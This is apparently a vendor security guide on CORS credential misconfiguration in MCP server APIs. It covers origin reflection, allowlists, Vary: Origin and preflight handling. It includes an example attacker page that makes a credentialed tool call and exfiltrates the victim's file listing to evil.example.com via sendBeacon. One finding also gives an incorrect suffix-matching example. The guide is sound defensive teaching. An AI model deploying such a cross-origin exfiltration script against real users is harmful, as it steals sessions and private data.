MCP Server Security · CORS Credentials
MCP server CORS credential security — Access-Control-Allow-Credentials, withCredentials XHR, origin allowlisting for credentialed requests, and CORS misconfiguration in MCP server APIs
CORS credential attacks exploit a specific class of CORS misconfiguration where a server sends Access-Control-Allow-Credentials: true alongside a permissive or dynamically-reflected Access-Control-Allow-Origin header. Browsers normally block credentialed cross-origin requests (requests that include cookies, Authorization headers, or TLS client certificates) unless the server explicitly allows them. A misconfigured CORS policy can grant any origin read access to credentialed MCP API responses — tool call results, session data, and user-specific content that is normally protected by authentication.
Why wildcards and credentials are mutually exclusive
Browsers enforce a hard rule: Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true cannot be combined. If you set both, the browser rejects the cross-origin request entirely — the credentials rule overrides the wildcard. This is an intentional browser security constraint: if any origin could read credentialed responses, cookies would be universally exfiltrable.
The dangerous misconfiguration that bypasses this protection is origin reflection: echoing the request's Origin header back as Access-Control-Allow-Origin. This is functionally equivalent to Allow-Origin: * for authenticated endpoints, but the browser allows it because the reflected value is a specific origin, not a wildcard.
// DANGEROUS: origin reflection — common in CORS middleware with incorrect configuration
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin) {
// Reflecting the request origin — any origin gets full credentials access
res.setHeader('Access-Control-Allow-Origin', origin); // WRONG
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
next();
});
// CORRECT: explicit allowlist
const ALLOWED_ORIGINS = new Set([
'https://skillaudit.dev',
'https://app.skillaudit.dev',
// Development only — remove in production:
// 'http://localhost:5173',
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // Required: prevents caching one origin's grant for another
}
// If origin not in allowlist: no CORS headers — browser blocks the cross-origin read
next();
});
The Vary: Origin header is mandatory when you have a dynamic CORS allowlist. Without it, a CDN or intermediate cache may serve the CORS-allowed response (with a specific Allow-Origin: https://app.example.com header) to a requester from a different origin. That requester sees a cached response granting cross-origin access to a different origin's credentials. Always set Vary: Origin on responses with dynamic CORS headers.
The attack: credentialed cross-origin MCP tool call
With reflected-origin CORS and credentials enabled, any website the MCP server's user visits can silently invoke MCP tools on their behalf:
// Attacker's malicious page at https://evil.example.com
// When the MCP server user visits this page, it invokes tools with their session
(async () => {
// withCredentials: true — sends the user's MCP session cookies
const response = await fetch('https://api.skillaudit.dev/mcp/tools/listFiles', {
method: 'POST',
credentials: 'include', // Send cookies with cross-origin request
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ path: '/home/user' }),
});
if (response.ok) {
const data = await response.json();
// Exfiltrate the user's file listing
navigator.sendBeacon('https://evil.example.com/collect', JSON.stringify(data));
}
})();
If the MCP server reflects the Origin: https://evil.example.com header back as the Access-Control-Allow-Origin value, the browser allows the read. The attacker now has the user's tool response data — and can repeat this for any tool the user has access to.
CORS for MCP API endpoints: decision table
| Use case | Credentials needed | Correct CORS setting |
|---|---|---|
| MCP tool API called from same-origin MCP UI | No — same-origin, no CORS needed | No CORS headers required |
| MCP tool API called from a known partner frontend on a different subdomain | Yes — session cookies needed | Explicit allowlist of known origins + Allow-Credentials: true + Vary: Origin |
| MCP tool API called by third-party apps using API keys (Bearer token) | No — Bearer token in Authorization header is not a "credential" in CORS terms | Allow-Origin: * is safe (no cookies) — or allowlist if restricting to known partners |
| MCP webhook receiver | No — webhook senders don't send cookies | Allow-Origin: * or no CORS header needed |
| Public read-only MCP data API (no auth) | No | Allow-Origin: * is safe |
Prefer Authorization headers over cookies for MCP API authentication. Bearer tokens in the Authorization header are not sent on cross-origin requests unless the code explicitly sets them. Cookies are automatically included by the browser on any cross-origin request that has credentials: 'include'. Bearer token authentication sidesteps the CORS credentials problem entirely: you can use Allow-Origin: * because there are no cookies to exfiltrate via credentialed cross-origin requests.
CORS preflight and credentialed requests
Credentialed requests that are not "simple" (GET/POST with simple headers) trigger a CORS preflight: an OPTIONS request that must also receive the correct Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers before the browser sends the actual request. If your preflight endpoint reflects origins but your main endpoint has a stricter allowlist (or vice versa), the inconsistency can create a bypass.
// Handle OPTIONS preflight consistently with the same allowlist used for actual requests
app.options('*', (req, res) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400'); // Cache preflight for 24h
res.setHeader('Vary', 'Origin');
}
res.sendStatus(204);
});
SkillAudit findings for CORS credential misconfiguration in MCP servers
Access-Control-Allow-Origin is set to the request's Origin header value unconditionally, combined with Access-Control-Allow-Credentials: true — any origin can make credentialed requests and read tool responses with the victim's sessionAccess-Control-Allow-Origin: null + Allow-Credentials: true — sandboxed iframes and file:// pages send Origin: null; attacker sandboxed iframe can make credentialed requests to the MCP APIorigin.endsWith('.example.com')) without anchoring — evil.example.com.attacker.com matches the suffix check and receives credential grantsVary: Origin on CORS responses with dynamic allowlist — CDN caches grant for one origin and serves it to different origins; cached Allow-Origin header may grant cross-origin access to the wrong clienthttp://localhost:3000) hardcoded in production CORS allowlist — any process running on port 3000 of the user's machine can make credentialed requests to the production MCP APISee also: CSRF security · OAuth security · Session isolation